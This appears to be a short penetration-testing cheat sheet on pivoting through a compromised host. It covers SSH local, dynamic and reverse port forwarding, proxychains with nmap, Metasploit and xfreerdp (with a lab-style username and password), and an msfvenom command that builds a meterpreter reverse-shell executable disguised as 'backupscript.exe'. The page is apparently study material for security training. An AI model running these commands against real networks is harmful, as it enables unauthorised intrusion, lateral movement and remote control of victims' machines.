Port Forwarding SSH

Dynamic Port Forwarding with SSH and SOCKS Tunneling

Local Port Forward

$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64

Confirming Port Forward with Netstat

$ netstat -antp | grep 1234

Forwarding Multiple Ports

$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64

Enabling Dynamic Port Forwarding with SSH

$ ssh -D 9050 ubuntu@10.129.202.64

config /etc/proxychains.conf

cat /etc/proxychains.conf

# meanwile
# defaults set to "tor"
socks4 	127.0.0.1 9050

Nmap with Proxychains

proxychains nmap -v -sn 172.16.5.1-200

Metasploit with Proxychains

proxychains msfconsole

Using rdp_scanner Module

msf6 > search rdp_scanner

Using xfreerdp with Proxychains

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Reverse Port Forwarding with SSH

Creating a Windows Payload with msfvenom

msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN

Last updated